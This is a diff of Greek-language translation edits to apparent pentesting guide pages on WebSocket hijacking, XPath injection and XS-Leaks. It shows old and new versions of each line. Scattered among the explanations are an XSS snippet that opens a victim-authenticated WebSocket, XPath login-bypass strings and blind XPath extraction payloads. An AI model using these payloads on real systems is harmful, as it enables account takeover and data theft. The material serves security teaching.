## Τι είναι τα WebSockets
|
||||
|
||||
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και έχουν σχεδιαστεί να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.
|
||||
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και έχουν σχεδιαστεί για να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.
|
||||
|
||||
### Δημιουργία Συνδέσεων WebSocket
|
||||
|
||||
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript από την πλευρά του πελάτη όπως φαίνεται παρακάτω:
|
||||
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς πελάτη όπως φαίνεται παρακάτω:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
Το πρωτόκολλο `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδηλώνει μια **μη ασφαλή** σύνδεση.
|
||||
Ο πρωτόκολλος `wss` υποδηλώνει μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδεικνύει μια **μη ασφαλή** σύνδεση.
|
||||
|
||||
Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια διαδικασία χειραψίας μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:
|
||||
|
||||
@ -35,12 +35,12 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.
|
||||
|
||||
**Κύρια Σημεία του WebSocket Handshake:**
|
||||
**Βασικά Σημεία του WebSocket Handshake:**
|
||||
|
||||
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη ενός WebSocket handshake.
|
||||
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`.
|
||||
- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για να επιβεβαιώσει ότι η απάντηση δεν παράγεται από έναν κακώς ρυθμισμένο διακομιστή ή cache.
|
||||
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
|
||||
- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για επιβεβαίωση ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.
|
||||
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επιβεβαιώνοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
|
||||
|
||||
Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.
|
||||
|
||||
@ -69,7 +69,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
- **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.
|
||||
- Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για το "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας. 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) είναι μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets.**
|
||||
@ -86,9 +86,9 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
### Simple Attack
|
||||
|
||||
Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένο στο αποσταλθέν cookie.
|
||||
Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση, το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένο στο αποσταλμένο cookie.
|
||||
|
||||
Έτσι, αν για **παράδειγμα** ο **websocket** **διακομιστής** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα αποσταλεί **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**.
|
||||
Έτσι, αν για **παράδειγμα** ο **websocket** **διακομιστής** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα **σταλεί** **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -136,15 +136,15 @@ sudo python3 -m http.server 80
|
||||
```
|
||||
## Συνθήκες Αγώνα
|
||||
|
||||
Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [ελέγξτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
|
||||
Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [check this information to learn more](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Άλλες ευπάθειες
|
||||
|
||||
Καθώς τα Web Sockets είναι ένας μηχανισμός για **την αποστολή δεδομένων προς την πλευρά του διακομιστή και την πλευρά του πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για την εκμετάλλευση αρκετών άλλων ευπαθειών όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
|
||||
Καθώς τα Web Sockets είναι ένας μηχανισμός για **να στέλνουν δεδομένα στον server και στον client**, ανάλογα με το πώς ο server και ο client χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια του ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων μεσολαβητών** κάνοντάς τους να πιστεύουν ότι **μια επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες ελέγξτε την παρακάτω σελίδα:
|
||||
Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων proxy** κάνοντάς τους να πιστεύουν ότι μια **επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
@ -12,7 +12,7 @@
|
||||
|
||||
- **nodename**: Επιλέγονται όλοι οι κόμβοι με το όνομα "nodename".
|
||||
- **/**: Η επιλογή γίνεται από τον ριζικό κόμβο.
|
||||
- **//**: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξαρτήτως της θέσης τους στο έγγραφο.
|
||||
- **//**: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξαρτήτως της τοποθεσίας τους στο έγγραφο.
|
||||
- **.**: Επιλέγεται ο τρέχων κόμβος.
|
||||
- **..**: Επιλέγεται ο γονέας του τρέχοντος κόμβου.
|
||||
- **@**: Επιλέγονται οι ιδιότητες.
|
||||
@ -24,7 +24,7 @@
|
||||
- **bookstore**: Επιλέγονται όλοι οι κόμβοι που ονομάζονται "bookstore".
|
||||
- **/bookstore**: Επιλέγεται το ριζικό στοιχείο bookstore. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).
|
||||
- **bookstore/book**: Επιλέγονται όλα τα στοιχεία book που είναι παιδιά του bookstore.
|
||||
- **//book**: Επιλέγονται όλα τα στοιχεία book στο έγγραφο, ανεξαρτήτως της θέσης τους.
|
||||
- **//book**: Επιλέγονται όλα τα στοιχεία book στο έγγραφο, ανεξαρτήτως της τοποθεσίας τους.
|
||||
- **bookstore//book**: Επιλέγονται όλα τα στοιχεία book που είναι απόγονοι του στοιχείου bookstore, ανεξαρτήτως της θέσης τους κάτω από το στοιχείο bookstore.
|
||||
- **//@lang**: Επιλέγονται όλες οι ιδιότητες που ονομάζονται lang.
|
||||
|
||||
@ -43,7 +43,7 @@
|
||||
|
||||
### Handling of Unknown Nodes
|
||||
|
||||
Wildcard χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:
|
||||
Οι χαρακτήρες μπαλαντέρ χρησιμοποιούνται για την αντιστοίχιση άγνωστων κόμβων:
|
||||
|
||||
- **\***: Αντιστοιχεί σε οποιοδήποτε στοιχείο κόμβου.
|
||||
- **@**\*: Αντιστοιχεί σε οποιοδήποτε κόμβο ιδιότητας.
|
||||
@ -51,7 +51,7 @@ Wildcard χρησιμοποιούνται για την αντιστοίχιση
|
||||
|
||||
Περαιτέρω παραδείγματα περιλαμβάνουν:
|
||||
|
||||
- **/bookstore/\***: Επιλέγει όλους τους κόμβους στοιχείων παιδιών του στοιχείου bookstore.
|
||||
- **/bookstore/\***: Επιλέγει όλους τους παιδικούς κόμβους στοιχείων του στοιχείου bookstore.
|
||||
- **//\***: Επιλέγει όλα τα στοιχεία στο έγγραφο.
|
||||
- **//title\[@\*]**: Επιλέγει όλα τα στοιχεία title με τουλάχιστον μία ιδιότητα οποιουδήποτε τύπου.
|
||||
|
||||
@ -207,7 +207,7 @@ string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/tex
|
||||
```
|
||||
## Blind Explotation
|
||||
|
||||
### **Πάρτε το μήκος μιας τιμής και εξαγάγετέ το μέσω συγκρίσεων:**
|
||||
### **Πάρτε το μήκος μιας τιμής και εξαγάγετέ την μέσω συγκρίσεων:**
|
||||
```bash
|
||||
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
||||
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
||||
|
@ -29,18 +29,18 @@ XS-Search είναι μια μέθοδος που χρησιμοποιείται
|
||||
### Inclusion Methods
|
||||
|
||||
- **HTML Elements**: Το HTML προσφέρει διάφορα στοιχεία για **συμπερίληψη πόρων από διαφορετικές προελεύσεις**, όπως στυλ, εικόνες ή σενάρια, αναγκάζοντας τον περιηγητή να ζητήσει έναν μη-HTML πόρο. Μια συλλογή πιθανών HTML στοιχείων για αυτό το σκοπό μπορεί να βρεθεί στο [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frames**: Στοιχεία όπως **iframe**, **object** και **embed** μπορούν να ενσωματώσουν HTML πόρους απευθείας στη σελίδα του επιτιθέμενου. Εάν η σελίδα **λείπει προστασία πλαισίωσης**, το JavaScript μπορεί να έχει πρόσβαση στο αντικείμενο παραθύρου του πλαισιωμένου πόρου μέσω της ιδιότητας contentWindow.
|
||||
- **Pop-ups**: Η μέθοδος **`window.open`** ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας ένα **handle παραθύρου** για το JavaScript να αλληλεπιδρά με μεθόδους και ιδιότητες σύμφωνα με το SOP. Οι pop-ups, που χρησιμοποιούνται συχνά σε single sign-on, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός στοχευμένου πόρου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία pop-up σε ορισμένες ενέργειες χρηστών.
|
||||
- **JavaScript Requests**: Το JavaScript επιτρέπει άμεσες αιτήσεις σε στοχευμένους πόρους χρησιμοποιώντας **XMLHttpRequests** ή το **Fetch API**. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο πάνω στην αίτηση, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις.
|
||||
- **Frames**: Στοιχεία όπως **iframe**, **object** και **embed** μπορούν να ενσωματώσουν HTML πόρους απευθείας στη σελίδα του επιτιθέμενου. Εάν η σελίδα **λείπει προστασία πλαισίωσης**, η JavaScript μπορεί να έχει πρόσβαση στο αντικείμενο παραθύρου του πλαισιωμένου πόρου μέσω της ιδιότητας contentWindow.
|
||||
- **Pop-ups**: Η μέθοδος **`window.open`** ανοίγει έναν πόρο σε μια νέα καρτέλα ή παράθυρο, παρέχοντας μια **χειριστή παραθύρου** για την JavaScript να αλληλεπιδρά με μεθόδους και ιδιότητες σύμφωνα με το SOP. Οι αναδυόμενες οθόνες, που χρησιμοποιούνται συχνά σε διαδικασίες αυτόματης σύνδεσης, παρακάμπτουν τους περιορισμούς πλαισίωσης και cookie ενός στοχευμένου πόρου. Ωστόσο, οι σύγχρονοι περιηγητές περιορίζουν τη δημιουργία αναδυόμενων παραθύρων σε ορισμένες ενέργειες χρηστών.
|
||||
- **JavaScript Requests**: Η JavaScript επιτρέπει άμεσες αιτήσεις σε στοχευμένους πόρους χρησιμοποιώντας **XMLHttpRequests** ή το **Fetch API**. Αυτές οι μέθοδοι προσφέρουν ακριβή έλεγχο πάνω στην αίτηση, όπως η επιλογή να ακολουθήσουν HTTP ανακατευθύνσεις.
|
||||
|
||||
### Leak Techniques
|
||||
|
||||
- **Event Handler**: Μια κλασική τεχνική διαρροής στα XS-Leaks, όπου οι χειριστές γεγονότων όπως **onload** και **onerror** παρέχουν πληροφορίες σχετικά με την επιτυχία ή αποτυχία φόρτωσης πόρων.
|
||||
- **Σφάλματα**: Οι εξαιρέσεις JavaScript ή οι ειδικές σελίδες σφαλμάτων μπορούν να παρέχουν πληροφορίες διαρροής είτε άμεσα από το μήνυμα σφάλματος είτε διαχωρίζοντας την παρουσία και την απουσία του.
|
||||
- **Σφάλματα**: Εξαιρέσεις JavaScript ή ειδικές σελίδες σφαλμάτων μπορούν να παρέχουν πληροφορίες διαρροής είτε άμεσα από το μήνυμα σφάλματος είτε διαχωρίζοντας την παρουσία και την απουσία του.
|
||||
- **Παγκόσμιοι Περιορισμοί**: Φυσικοί περιορισμοί ενός περιηγητή, όπως η χωρητικότητα μνήμης ή άλλοι επιβεβλημένοι περιορισμοί του περιηγητή, μπορούν να σήμαναν πότε έχει φτάσει ένα όριο, λειτουργώντας ως τεχνική διαρροής.
|
||||
- **Παγκόσμια Κατάσταση**: Ανιχνεύσιμες αλληλεπιδράσεις με τις **παγκόσμιες καταστάσεις** των περιηγητών (π.χ., η διεπαφή Ιστορίας) μπορούν να εκμεταλλευτούν. Για παράδειγμα, ο **αριθμός των καταχωρίσεων** στην ιστορία ενός περιηγητή μπορεί να προσφέρει ενδείξεις σχετικά με σελίδες από διαφορετικές προελεύσεις.
|
||||
- **Performance API**: Αυτό το API παρέχει **λεπτομέρειες απόδοσης της τρέχουσας σελίδας**, συμπεριλαμβανομένου του χρόνου δικτύου για το έγγραφο και τους φορτωμένους πόρους, επιτρέποντας συμπεράσματα σχετικά με τους ζητούμενους πόρους.
|
||||
- **Αναγνώσιμες Ιδιότητες**: Ορισμένες HTML ιδιότητες είναι **αναγνώσιμες από διαφορετικές προελεύσεις** και μπορούν να χρησιμοποιηθούν ως τεχνική διαρροής. Για παράδειγμα, η ιδιότητα `window.frame.length` επιτρέπει στο JavaScript να μετρά τα πλαίσια που περιλαμβάνονται σε μια ιστοσελίδα από διαφορετική προέλευση.
|
||||
- **Αναγνώσιμες Ιδιότητες**: Ορισμένες HTML ιδιότητες είναι **αναγνώσιμες από διαφορετικές προελεύσεις** και μπορούν να χρησιμοποιηθούν ως τεχνική διαρροής. Για παράδειγμα, η ιδιότητα `window.frame.length` επιτρέπει στην JavaScript να μετρά τα πλαίσια που περιλαμβάνονται σε μια ιστοσελίδα από διαφορετική προέλευση.
|
||||
|
||||
## XSinator Tool & Paper
|
||||
|
||||
@ -49,7 +49,7 @@ XSinator είναι ένα αυτόματο εργαλείο για **έλεγχ
|
||||
Μπορείτε να **πρόσβαση στο εργαλείο στο** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **Εξαιρούμενες XS-Leaks**: Αναγκαστήκαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε **service workers** καθώς θα παρεμβαίνουν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να **εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη διαδικτυακή εφαρμογή**. Για παράδειγμα, κακές διαμορφώσεις Cross-Origin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις XS-Leaks που βασίζονται σε χρόνο, καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς μετρήσεις.
|
||||
> **Εξαιρούμενες XS-Leaks**: Αναγκαστήκαμε να εξαιρέσουμε XS-Leaks που βασίζονται σε **εργαζόμενους υπηρεσιών** καθώς θα παρεμβαίνουν σε άλλες διαρροές στο XSinator. Επιπλέον, επιλέξαμε να **εξαιρέσουμε XS-Leaks που βασίζονται σε κακή διαμόρφωση και σφάλματα σε μια συγκεκριμένη διαδικτυακή εφαρμογή**. Για παράδειγμα, κακές διαμορφώσεις CrossOrigin Resource Sharing (CORS), διαρροές postMessage ή Cross-Site Scripting. Επιπλέον, εξαιρέσαμε τις XS-Leaks που βασίζονται σε χρόνο, καθώς συχνά υποφέρουν από αργές, θορυβώδεις και ανακριβείς διαδικασίες.
|
||||
|
||||
## **Timing Based techniques**
|
||||
|
||||
@ -63,17 +63,17 @@ XSinator είναι ένα αυτόματο εργαλείο για **έλεγχ
|
||||
|
||||
### Onload/Onerror
|
||||
|
||||
- **Μέθοδοι Συμπερίληψης**: Frames, HTML Elements
|
||||
- **Ανιχνεύσιμη Διαφορά**: Κωδικός Κατάστασης
|
||||
- **Περισσότερες πληροφορίες**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Σύνοψη**: αν προσπαθείτε να φορτώσετε έναν πόρο, τα γεγονότα onerror/onload ενεργοποιούνται με την επιτυχία/αποτυχία φόρτωσης του πόρου, είναι δυνατόν να καταλάβετε τον κωδικό κατάστασης.
|
||||
- **Παράδειγμα κώδικα**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Summary**: αν προσπαθείτε να φορτώσετε έναν πόρο, τα γεγονότα onerror/onload ενεργοποιούνται με την επιτυχία/αποτυχία φόρτωσης του πόρου, είναι δυνατόν να καταλάβετε τον κωδικό κατάστασης.
|
||||
- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
xs-search/cookie-bomb-+-onerror-xs-leak.md
|
||||
{{#endref}}
|
||||
|
||||
Το παράδειγμα κώδικα προσπαθεί να **φορτώσει αντικείμενα scripts από JS**, αλλά **άλλες ετικέτες** όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί η **ετικέτα απευθείας** και να δηλωθούν τα γεγονότα `onload` και `onerror` μέσα στην ετικέτα (αντί να την εισάγουμε από το JS).
|
||||
Το παράδειγμα κώδικα προσπαθεί να **φορτώσει αντικείμενα scripts από JS**, αλλά **άλλες ετικέτες** όπως αντικείμενα, στυλ, εικόνες, ήχοι θα μπορούσαν επίσης να χρησιμοποιηθούν. Επιπλέον, είναι επίσης δυνατό να εισαχθεί η **ετικέτα απευθείας** και να δηλωθούν τα γεγονότα `onload` και `onerror` μέσα στην ετικέτα (αντί να την εισάγουν από JS).
|
||||
|
||||
Υπάρχει επίσης μια έκδοση αυτής της επίθεσης χωρίς σενάριο:
|
||||
```html
|
||||
@ -89,7 +89,7 @@ xs-search/cookie-bomb-+-onerror-xs-leak.md
|
||||
- **Ανιχνεύσιμη Διαφορά**: Χρόνος (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **Περισσότερες πληροφορίες**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
||||
- **Σύνοψη:** Η [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Ωστόσο, άλλες ρολόγια θα μπορούσαν να χρησιμοποιηθούν, όπως το [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) που μπορεί να εντοπίσει εργασίες που εκτελούνται για περισσότερα από 50ms.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) άλλο παράδειγμα σε:
|
||||
- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) άλλο παράδειγμα στο:
|
||||
|
||||
{{#ref}}
|
||||
xs-search/performance.now-example.md
|
||||
@ -97,7 +97,7 @@ xs-search/performance.now-example.md
|
||||
|
||||
#### Χρόνος Onload + Υποχρεωτική Βαριά Εργασία
|
||||
|
||||
Αυτή η τεχνική είναι ακριβώς όπως η προηγούμενη, αλλά ο **επιτιθέμενος** θα **αναγκάσει** επίσης κάποια ενέργεια να διαρκέσει μια **σχετική ποσότητα χρόνου** όταν η **απάντηση είναι θετική ή αρνητική** και θα μετρήσει αυτόν τον χρόνο.
|
||||
Αυτή η τεχνική είναι ακριβώς όπως η προηγούμενη, αλλά ο **επιτιθέμενος** θα **υποχρεώσει** κάποια ενέργεια να διαρκέσει μια **σχετική ποσότητα χρόνου** όταν η **απάντηση είναι θετική ή αρνητική** και θα μετρήσει αυτόν τον χρόνο.
|
||||
|
||||
{{#ref}}
|
||||
xs-search/performance.now-+-force-heavy-task.md
|
||||
@ -108,10 +108,10 @@ xs-search/performance.now-+-force-heavy-task.md
|
||||
- **Μέθοδοι Συμπερίληψης**: Πλαίσια
|
||||
- **Ανιχνεύσιμη Διαφορά**: Χρόνος (γενικά λόγω Περιεχομένου Σελίδας, Κωδικός Κατάστασης)
|
||||
- **Περισσότερες πληροφορίες**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
- **Σύνοψη:** Το [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Άλλα ρολόγια θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Σύνοψη:** Το ρολόι [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) μπορεί να χρησιμοποιηθεί για να μετρήσει πόσο χρόνο χρειάζεται για να εκτελέσει ένα αίτημα. Άλλα ρολόγια θα μπορούσαν να χρησιμοποιηθούν.
|
||||
- **Παράδειγμα Κώδικα**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
|
||||
